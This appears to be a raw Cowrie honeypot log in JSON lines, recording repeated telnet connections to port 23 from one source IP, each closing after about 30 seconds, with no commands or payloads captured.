{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38678,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced327a83ef3","protocol":"telnet","message":"New connection: 51.161.172.108:38678 (159.203.135.109:23) [session: ced327a83ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.523081Z"}
{"eventid":"cowrie.session.closed","duration":30.864832878112793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.570879Z","src_ip":"51.161.172.108","session":"291c11d1332d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20013451576233,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.597596Z","src_ip":"51.161.172.108","session":"2ce914808b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.712576866149902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.660957Z","src_ip":"51.161.172.108","session":"b0564c12df9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.834320068359375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.667929Z","src_ip":"51.161.172.108","session":"b61f0993af03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38690,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b27ccf3fe34","protocol":"telnet","message":"New connection: 51.161.172.108:38690 (159.203.135.109:23) [session: 7b27ccf3fe34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.676683Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38710,"dst_ip":"159.203.135.109","dst_port":23,"session":"971dd6f49eea","protocol":"telnet","message":"New connection: 51.161.172.108:38710 (159.203.135.109:23) [session: 971dd6f49eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.741409Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38712,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dc768defad2","protocol":"telnet","message":"New connection: 51.161.172.108:38712 (159.203.135.109:23) [session: 7dc768defad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.761670Z"}
{"eventid":"cowrie.session.closed","duration":31.353311777114868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.772262Z","src_ip":"51.161.172.108","session":"8db9c990f3e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38720,"dst_ip":"159.203.135.109","dst_port":23,"session":"78c9cb000a04","protocol":"telnet","message":"New connection: 51.161.172.108:38720 (159.203.135.109:23) [session: 78c9cb000a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.817741Z"}
{"eventid":"cowrie.session.closed","duration":31.232255697250366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.884609Z","src_ip":"51.161.172.108","session":"b0d67be07045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.85024929046631,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:24.899411Z","src_ip":"51.161.172.108","session":"81dd3c6ddef5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38740,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd009b218fd4","protocol":"telnet","message":"New connection: 51.161.172.108:38740 (159.203.135.109:23) [session: dd009b218fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:25.036114Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38770,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b851a7592f6","protocol":"telnet","message":"New connection: 51.161.172.108:38770 (159.203.135.109:23) [session: 4b851a7592f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:25.191254Z"}
{"eventid":"cowrie.session.closed","duration":30.993181467056274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:25.293530Z","src_ip":"51.161.172.108","session":"158d87a0a4d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38776,"dst_ip":"159.203.135.109","dst_port":23,"session":"280287d668ea","protocol":"telnet","message":"New connection: 51.161.172.108:38776 (159.203.135.109:23) [session: 280287d668ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:25.386090Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38794,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4d768e6073d","protocol":"telnet","message":"New connection: 51.161.172.108:38794 (159.203.135.109:23) [session: b4d768e6073d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:25.408475Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38842,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b0f787fbcb3","protocol":"telnet","message":"New connection: 51.161.172.108:38842 (159.203.135.109:23) [session: 3b0f787fbcb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:25.636023Z"}
{"eventid":"cowrie.session.closed","duration":31.532310962677002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:25.668385Z","src_ip":"51.161.172.108","session":"1500e5ee8d08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38850,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b2133e43dd6","protocol":"telnet","message":"New connection: 51.161.172.108:38850 (159.203.135.109:23) [session: 7b2133e43dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:25.740529Z"}
{"eventid":"cowrie.session.closed","duration":31.731364965438843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:25.877163Z","src_ip":"51.161.172.108","session":"95021eb07b44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38928,"dst_ip":"159.203.135.109","dst_port":23,"session":"df41b4c16691","protocol":"telnet","message":"New connection: 51.161.172.108:38928 (159.203.135.109:23) [session: df41b4c16691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.114253Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38940,"dst_ip":"159.203.135.109","dst_port":23,"session":"35d81622ff03","protocol":"telnet","message":"New connection: 51.161.172.108:38940 (159.203.135.109:23) [session: 35d81622ff03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.194507Z"}
{"eventid":"cowrie.session.closed","duration":30.77095913887024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.206729Z","src_ip":"51.161.172.108","session":"59dd214e82ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136831760406494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.217396Z","src_ip":"51.161.172.108","session":"d1e6aec320e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38964,"dst_ip":"159.203.135.109","dst_port":23,"session":"052dac71512d","protocol":"telnet","message":"New connection: 51.161.172.108:38964 (159.203.135.109:23) [session: 052dac71512d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.231765Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38966,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ee00ce2426","protocol":"telnet","message":"New connection: 51.161.172.108:38966 (159.203.135.109:23) [session: f6ee00ce2426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.274274Z"}
{"eventid":"cowrie.session.closed","duration":30.91562843322754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.289487Z","src_ip":"51.161.172.108","session":"6682923e88c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769418954849243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.404785Z","src_ip":"51.161.172.108","session":"55fa7225b399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.763023376464844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.456952Z","src_ip":"51.161.172.108","session":"3d1bb6f420de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38998,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc8ece537b86","protocol":"telnet","message":"New connection: 51.161.172.108:38998 (159.203.135.109:23) [session: cc8ece537b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.461718Z"}
{"eventid":"cowrie.session.closed","duration":31.82100534439087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.630685Z","src_ip":"51.161.172.108","session":"2ecc51a99b24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39060,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9650b0ba3d","protocol":"telnet","message":"New connection: 51.161.172.108:39060 (159.203.135.109:23) [session: ea9650b0ba3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.659423Z"}
{"eventid":"cowrie.session.closed","duration":31.64250087738037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.666649Z","src_ip":"51.161.172.108","session":"596b777ed6fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39042,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0b7ae5858cb","protocol":"telnet","message":"New connection: 51.161.172.108:39042 (159.203.135.109:23) [session: e0b7ae5858cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:26.706817Z"}
{"eventid":"cowrie.session.closed","duration":31.145046949386597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.170839Z","src_ip":"51.161.172.108","session":"323ebbc6df34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30932092666626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.193927Z","src_ip":"51.161.172.108","session":"12d1b407b132","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38986,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea22dab1a048","protocol":"telnet","message":"New connection: 51.161.172.108:38986 (159.203.135.109:23) [session: ea22dab1a048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.408875Z"}
{"eventid":"cowrie.session.closed","duration":30.67043423652649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.425354Z","src_ip":"51.161.172.108","session":"26fae196e8a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.242119789123535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.504726Z","src_ip":"51.161.172.108","session":"8f3f182a618a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39086,"dst_ip":"159.203.135.109","dst_port":23,"session":"eebe38d2757c","protocol":"telnet","message":"New connection: 51.161.172.108:39086 (159.203.135.109:23) [session: eebe38d2757c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.750245Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39102,"dst_ip":"159.203.135.109","dst_port":23,"session":"d227e94536a0","protocol":"telnet","message":"New connection: 51.161.172.108:39102 (159.203.135.109:23) [session: d227e94536a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.755037Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39078,"dst_ip":"159.203.135.109","dst_port":23,"session":"294374307581","protocol":"telnet","message":"New connection: 51.161.172.108:39078 (159.203.135.109:23) [session: 294374307581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.759337Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39094,"dst_ip":"159.203.135.109","dst_port":23,"session":"029b6ad4e2f1","protocol":"telnet","message":"New connection: 51.161.172.108:39094 (159.203.135.109:23) [session: 029b6ad4e2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.763902Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39056,"dst_ip":"159.203.135.109","dst_port":23,"session":"90f1951a89a4","protocol":"telnet","message":"New connection: 51.161.172.108:39056 (159.203.135.109:23) [session: 90f1951a89a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.768562Z"}
{"eventid":"cowrie.session.closed","duration":31.399596691131592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:27.950543Z","src_ip":"51.161.172.108","session":"8dc7d7e1a1e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39156,"dst_ip":"159.203.135.109","dst_port":23,"session":"820ec1c4b551","protocol":"telnet","message":"New connection: 51.161.172.108:39156 (159.203.135.109:23) [session: 820ec1c4b551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.050529Z"}
{"eventid":"cowrie.session.closed","duration":31.72135066986084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.055339Z","src_ip":"51.161.172.108","session":"322a9b0fccdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39176,"dst_ip":"159.203.135.109","dst_port":23,"session":"29cbf1e06d20","protocol":"telnet","message":"New connection: 51.161.172.108:39176 (159.203.135.109:23) [session: 29cbf1e06d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.101796Z"}
{"eventid":"cowrie.session.closed","duration":30.93138098716736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.169736Z","src_ip":"51.161.172.108","session":"8a81039f4cd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39196,"dst_ip":"159.203.135.109","dst_port":23,"session":"caed23788623","protocol":"telnet","message":"New connection: 51.161.172.108:39196 (159.203.135.109:23) [session: caed23788623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.203049Z"}
{"eventid":"cowrie.session.closed","duration":30.617429733276367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.258801Z","src_ip":"51.161.172.108","session":"6eb8b7bd8099","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39182,"dst_ip":"159.203.135.109","dst_port":23,"session":"82448bcaef86","protocol":"telnet","message":"New connection: 51.161.172.108:39182 (159.203.135.109:23) [session: 82448bcaef86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.306766Z"}
{"eventid":"cowrie.session.closed","duration":30.685555934906006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.370423Z","src_ip":"51.161.172.108","session":"79d817db70ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2923367023468,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.389146Z","src_ip":"51.161.172.108","session":"f6ead5d42987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.355156421661377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.454227Z","src_ip":"51.161.172.108","session":"26f57046a15c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6403067111969,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.474643Z","src_ip":"51.161.172.108","session":"30bf6d65de6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33189153671265,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.485275Z","src_ip":"51.161.172.108","session":"cdbcbd832634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33747577667236,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.531558Z","src_ip":"51.161.172.108","session":"d2f245007471","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14129376411438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.581783Z","src_ip":"51.161.172.108","session":"33630646638b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39288,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6f95ecedbe","protocol":"telnet","message":"New connection: 51.161.172.108:39288 (159.203.135.109:23) [session: 9d6f95ecedbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.683499Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39306,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd5d83c1a4e","protocol":"telnet","message":"New connection: 51.161.172.108:39306 (159.203.135.109:23) [session: bdd5d83c1a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.752661Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39328,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6ab68841859","protocol":"telnet","message":"New connection: 51.161.172.108:39328 (159.203.135.109:23) [session: d6ab68841859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.810458Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39290,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a0d197d909f","protocol":"telnet","message":"New connection: 51.161.172.108:39290 (159.203.135.109:23) [session: 9a0d197d909f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.814108Z"}
{"eventid":"cowrie.session.closed","duration":31.203128814697266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:28.819505Z","src_ip":"51.161.172.108","session":"827912f05b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":39414,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bc9fee20c37","protocol":"telnet","message":"New connection: 51.161.172.108:39414 (159.203.135.109:23) [session: 2bc9fee20c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:29.065083Z"}
{"eventid":"cowrie.session.closed","duration":31.682573795318604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:29.209608Z","src_ip":"51.161.172.108","session":"60dee35b1d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.343633890151978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:29.374433Z","src_ip":"51.161.172.108","session":"ebaaa81f735d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37510,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcbaef6c3d71","protocol":"telnet","message":"New connection: 51.161.172.108:37510 (159.203.135.109:23) [session: fcbaef6c3d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:29.443828Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37526,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd4dab07c208","protocol":"telnet","message":"New connection: 51.161.172.108:37526 (159.203.135.109:23) [session: fd4dab07c208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:29.457924Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37550,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3f0e9908c26","protocol":"telnet","message":"New connection: 51.161.172.108:37550 (159.203.135.109:23) [session: a3f0e9908c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:29.536115Z"}
{"eventid":"cowrie.session.closed","duration":31.890236139297485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:29.615728Z","src_ip":"51.161.172.108","session":"a0f1c2f4673c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.423072338104248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:29.624724Z","src_ip":"51.161.172.108","session":"e321fd6361b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37600,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec9878e9ce42","protocol":"telnet","message":"New connection: 51.161.172.108:37600 (159.203.135.109:23) [session: ec9878e9ce42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:29.755993Z"}
{"eventid":"cowrie.session.closed","duration":32.02279853820801,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:30.117137Z","src_ip":"51.161.172.108","session":"13938875239c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37644,"dst_ip":"159.203.135.109","dst_port":23,"session":"02e2ce62a109","protocol":"telnet","message":"New connection: 51.161.172.108:37644 (159.203.135.109:23) [session: 02e2ce62a109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:30.141967Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37622,"dst_ip":"159.203.135.109","dst_port":23,"session":"6717e0218d41","protocol":"telnet","message":"New connection: 51.161.172.108:37622 (159.203.135.109:23) [session: 6717e0218d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:30.181996Z"}
{"eventid":"cowrie.session.closed","duration":30.528361558914185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:30.217906Z","src_ip":"51.161.172.108","session":"b5a46099ee73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37692,"dst_ip":"159.203.135.109","dst_port":23,"session":"dff1884a6991","protocol":"telnet","message":"New connection: 51.161.172.108:37692 (159.203.135.109:23) [session: dff1884a6991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:30.313820Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37520,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9944760d533","protocol":"telnet","message":"New connection: 51.161.172.108:37520 (159.203.135.109:23) [session: d9944760d533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:30.382717Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37698,"dst_ip":"159.203.135.109","dst_port":23,"session":"334c64af2fc5","protocol":"telnet","message":"New connection: 51.161.172.108:37698 (159.203.135.109:23) [session: 334c64af2fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:30.408367Z"}
